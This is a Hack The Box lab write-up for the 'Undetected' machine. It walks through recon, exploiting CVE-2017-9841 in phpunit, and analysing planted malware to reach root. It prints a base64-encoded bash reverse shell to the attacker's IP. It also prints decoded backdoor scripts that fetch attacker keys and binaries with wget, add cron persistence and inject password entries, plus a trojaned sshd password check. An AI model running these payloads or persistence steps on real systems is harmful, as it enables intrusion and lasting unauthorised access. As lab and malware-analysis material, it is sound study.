6 minutes
Hackthebox Undetected
Undetected is a medium-difficulty Linux machine. However, it was quite challenging in terms of privilege escalation due to the need to analyze a binary.
Machine IP: 10.10.11.146
First, perform a service scan using Nmap, which reveals two open services: SSH and HTTP.
Nmap scan report for 10.10.11.146
Host is up (0.20s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Diana's Jewelry
When I visited the website, I found a subdomain on the store page.
<li class="menu-item"><a href="http://store.djewelry.htb">STORE</a></li>
I added the subdomain to my hosts file. When I accessed it, I found a store site, but most features were non-functional, displaying a notification:
Due to a website migration, we are currently not taking any online orders. Contact us if you wish to make a purchase.
I proceeded with directory enumeration using ffuf.
$ ffuf -w ~/wordlists/common.txt -u http://store.djewelry.htb/FUZZ
<REDACTED> -fc 403
css [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 113ms]
fonts [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 115ms]
images [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 114ms]
index.php [Status: 200, Size: 6215, Words: 528, Lines: 196, Duration: 114ms]
js [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 112ms]
vendor [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 115ms]
:: Progress: [4686/4686] :: Job [1/1] :: 310 req/sec :: Duration: [0:00:16] :: Errors: 0 ::
The vendor
directory caught my attention, and it had directory listing enabled. Inside, I found several subdirectories and identified phpunit
version 5.6 from the last changelog.
This version of phpunit
has a known vulnerability (CVE-2017-9841). Exploitation involves sending code via POST data to a vulnerable script.
$ curl --data "<?php system(base64_decode('L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNTEvNDQ0NCAwPiYxIgo='));" http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Start a listener in another terminal session to receive the connection.
$ nc -nvlp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.146 59952
bash: cannot set terminal process group (917): Inappropriate ioctl for device
bash: no job control in this shell
www-data@production:/var/www/store/vendor/phpunit/phpunit/src/Util/PHP$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
After gaining a reverse shell, I typically run LinPEAS for enumeration.
I found a file /var/backups/info
owned by www-data
, which was a binary file. I downloaded it to my machine for analysis.
Using the strings
command, I found a hex-encoded string. Decoding it provided the following output:
$ cat hex | xxd -p -r
wget tempfiles.xyz/authorized_keys -O /root/.ssh/authorized_keys; wget tempfiles.xyz/.main -O /var/lib/.main; chmod 755 /var/lib/.main; echo "* 3 * * * root /var/lib/.main" >> /etc/crontab; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1"1:\$6\$zS7ykHfFMg3aYht4\$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:18813:0:99999:7::: >> /etc/shadow")}' /etc/passwd; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1" "$3" "$6" "$7" > users.txt")}' /etc/passwd; while read -r user group home shell _; do echo "$user"1":x:$group:$group:,,,:$home:$shell" >> /etc/passwd; done < users.txt; rm users.txt;
Since there was a hash present, I saved it to a file and performed a brute-force attack using John the Ripper.
$ cat hash
steven1:$6$zS7ykHfFMg3aYht4$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:18813:0:99999:7:::
$ john --wordlist=/path/to/rockyou.txt hash
$ john --show hash
steven1:ihatehackers:18813:0:99999:7:::
I logged in via SSH using the credentials steven1:ihatehackers
.
ssh steven1@10.10.11.146
steven1@10.10.11.146's password:
steven@production:~$ id
uid=1000(steven) gid=1000(steven) groups=1000(steven)
steven@production:~$ cat user.txt
4fb6d75a0b2c5eb7[REDACTED]
Having gained access as user steven
, I checked the mail in /var/mail
and found an interesting message.
$ cat /var/mail/steven
From root@production Sun, 25 Jul 2021 10:31:12 GMT
Return-Path: <root@production>
Received: from production (localhost [127.0.0.1])
by production (8.15.2/8.15.2/Debian-18) with ESMTP id 80FAcdZ171847
for <steven@production>; Sun, 25 Jul 2021 10:31:12 GMT
Received: (from root@localhost)
by production (8.15.2/8.15.2/Submit) id 80FAcdZ171847;
Sun, 25 Jul 2021 10:31:12 GMT
Date: Sun, 25 Jul 2021 10:31:12 GMT
Message-Id: <202107251031.80FAcdZ171847@production>
To: steven@production
From: root@production
Subject: Investigations
Hi Steven.
We recently updated the system but are still experiencing some strange behaviour with the Apache service.
We have temporarily moved the web store and database to another server whilst investigations are underway.
If for any reason you need access to the database or web application code, get in touch with Mark and he
will generate a temporary password for you to authenticate to the temporary server.
Thanks,
sysadmin
The sysadmin mentioned odd behavior with the Apache service. I inspected the modules in /usr/lib/apache2/modules
and found a recently modified file.
-rw-r--r-- 1 root root 34800 May 17 2021 mod_reader.so
I transferred the file to my local machine for analysis and found a base64-encoded string using the strings
command.
$ echo "d2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk" | base64 -d
wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd
It appeared that /usr/sbin/sshd
had been replaced with another
file using wget
. I downloaded /usr/sbin/sshd
and analyzed it with Ghidra, finding a suspicious auth_password
function.
int auth_password(ssh *ssh,char *password)
{
Authctxt *ctxt;
passwd *ppVar1;
int iVar2;
uint uVar3;
byte *pbVar4;
byte *pbVar5;
size_t sVar6;
byte bVar7;
int iVar8;
long in_FS_OFFSET;
char backdoor [31];
byte local_39 [9];
long local_30;
bVar7 = 0xd6;
ctxt = (Authctxt *)ssh->authctxt;
local_30 = *(long *)(in_FS_OFFSET + 0x28);
backdoor._28_2_ = 0xa9f4;
ppVar1 = ctxt->pw;
iVar8 = ctxt->valid;
backdoor._24_4_ = 0xbcf0b5e3;
backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
backdoor[30] = -0x5b;
backdoor._0_4_ = 0xf0e7abd6;
backdoor._4_4_ = 0xa4b3a3f3;
backdoor._8_4_ = 0xf7bbfdc8;
backdoor._12_4_ = 0xfdb3d6e7;
pbVar4 = (byte *)backdoor;
while( true ) {
pbVar5 = pbVar4 + 1;
*pbVar4 = bVar7 ^ 0x96;
if (pbVar5 == local_39) break;
bVar7 = *pbVar5;
pbVar4 = pbVar5;
}
iVar2 = strcmp(password,backdoor);
uVar3 = 1;
if (iVar2 != 0) {
sVar6 = strlen(password);
uVar3 = 0;
if (sVar6 < 0x401) {
if ((ppVar1->pw_uid == 0) && (options.permit_root_login != 3)) {
iVar8 = 0;
}
if ((*password != '\0') ||
(uVar3 = options.permit_empty_passwd, options.permit_empty_passwd != 0)) {
if (auth_password::expire_checked == 0) {
auth_password::expire_checked = 1;
iVar2 = auth_shadow_pwexpired(ctxt);
if (iVar2 != 0) {
ctxt->force_pwchange = 1;
}
}
iVar2 = sys_auth_passwd(ssh,password);
if (ctxt->force_pwchange != 0) {
auth_restrict_session(ssh);
}
uVar3 = (uint)(iVar2 != 0 && iVar8 != 0);
}
}
}
if (local_30 == *(long *)(in_FS_OFFSET + 0x28)) {
return uVar3;
}
__stack_chk_fail();
}
From the decompiled function, I concluded the following:
- The function accepts two parameters, one of which is the password.
- Each character of the password is XOR’d with 0x96.
strcmp(password, backdoor)
compares the two strings.
I wrote a solver to retrieve the valid password from the backdoor
variable.
import struct
backdoor = struct.pack("<I", 0xf0e7abd6) # backdoor._0_4_
backdoor += struct.pack("<I", 0xa4b3a3f3) # backdoor._4_4_
backdoor += struct.pack("<I", 0xf7bbfdc8) # backdoor._8_4_
backdoor += struct.pack("<I", 0xfdb3d6e7) # backdoor._12_4_
backdoor += struct.pack("<Q", 0xb2d6f4a0fda0b3d6) # backdoor._16_8_
backdoor += struct.pack("<I", 0xbcf0b5e3) # backdoor._24_4_
backdoor += struct.pack("<H", 0xa9f4) # backdoor._28_2_
backdoor += struct.pack("<B", 0xa5) # backdoor[30]
password = []
for x in backdoor:
password.append(x ^ 0x96)
print(bytes(password))
Running the script revealed the password. I then used it to log in as root via SSH.
$ python3 solve.py
b'@=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3'
$ ssh root@10.10.11.146
root@10.10.11.146's password: @=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3
Last login: Mon Jul 4 07:38:42 2022 from 10.10.14.51
root@production:~# id
uid=0(root) gid=0(root) groups=0(root)
root@production:~# cat root.txt
4a2e48198e823b91[REDACTED]
Rooted!